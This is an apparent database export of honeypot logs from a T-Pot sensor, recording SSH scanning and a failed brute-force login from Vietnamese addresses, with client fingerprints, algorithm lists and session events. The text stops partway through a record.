22872	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:28.81137+03	2021-09-20 14:15:06.769509+03	{"_id": "hAbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [tim/tim] failed", "session": "0260ebc84661", "@version": "1", "password": "tim", "username": "tim", "timestamp": "2021-09-20T11:07:28.811370Z", "@timestamp": "2021-09-20T11:07:28.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22873	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.958146+03	2021-09-20 14:15:06.771472+03	{"_id": "hQbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "00d3395919dd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:28.958146Z", "@timestamp": "2021-09-20T11:07:28.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22874	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:29.054944+03	2021-09-20 14:15:06.772472+03	{"_id": "hgbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fa71a18430c6", "@version": "1", "duration": 2.4726316928863525, "timestamp": "2021-09-20T11:07:29.054944Z", "@timestamp": "2021-09-20T11:07:29.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22875	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:29.237154+03	2021-09-20 14:15:06.774471+03	{"_id": "hwbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "00d3395919dd", "@version": "1", "timestamp": "2021-09-20T11:07:29.237154Z", "@timestamp": "2021-09-20T11:07:29.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22876	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:28.813354+03	2021-09-20 14:15:06.775472+03	{"_id": "kwbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40616, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.813354", "@timestamp": "2021-09-20T11:07:28.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23432	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.85219+03	2021-09-20 14:15:07.500469+03	{"_id": "HwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "901571932a87", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.852190Z", "@timestamp": "2021-09-20T11:07:36.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22877	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:28.865745+03	2021-09-20 14:15:06.776503+03	{"_id": "lAbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58344, "timestamp": "2021-09-20T11:07:28.865745", "@timestamp": "2021-09-20T11:07:28.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22878	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:28.959615+03	2021-09-20 14:15:06.77847+03	{"_id": "lQbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45050, "timestamp": "2021-09-20T11:07:28.959615", "@timestamp": "2021-09-20T11:07:28.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22879	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:28.573876+03	2021-09-20 14:15:06.77947+03	{"_id": "lgbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3830633aea8a", "@version": "1", "duration": 3.477454423904419, "timestamp": "2021-09-20T11:07:28.573876Z", "@timestamp": "2021-09-20T11:07:28.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22880	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.705499+03	2021-09-20 14:15:06.78147+03	{"_id": "lwbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "5ee0cbf99b22", "@version": "1", "duration": 4.116652727127075, "timestamp": "2021-09-20T11:07:28.705499Z", "@timestamp": "2021-09-20T11:07:28.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22881	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.106902+03	2021-09-20 14:15:06.7825+03	{"_id": "mAbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ac85c9120dd9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:29.106902Z", "@timestamp": "2021-09-20T11:07:29.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22882	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:29.235921+03	2021-09-20 14:15:06.783498+03	{"_id": "nAbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1502316938134311, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45050, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.235921Z", "@timestamp": "2021-09-20T11:07:29.235Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22883	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:29.945644+03	2021-09-20 14:15:06.784501+03	{"_id": "nwbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 193178694110900, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58344, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.945644Z", "@timestamp": "2021-09-20T11:07:29.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22884	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:29.83192+03	2021-09-20 14:15:06.786471+03	{"_id": "mwbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1943489536453911, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58838, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.831920Z", "@timestamp": "2021-09-20T11:07:29.831Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22885	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:30.236034+03	2021-09-20 14:15:06.7875+03	{"_id": "oAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59584 (192.168.176.2:22) [session: 321b4cbfd755]", "session": "321b4cbfd755", "@version": "1", "protocol": "ssh", "src_port": 59584, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.236034Z", "@timestamp": "2021-09-20T11:07:30.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22886	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:29.267498+03	2021-09-20 14:15:06.789507+03	{"_id": "pAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", 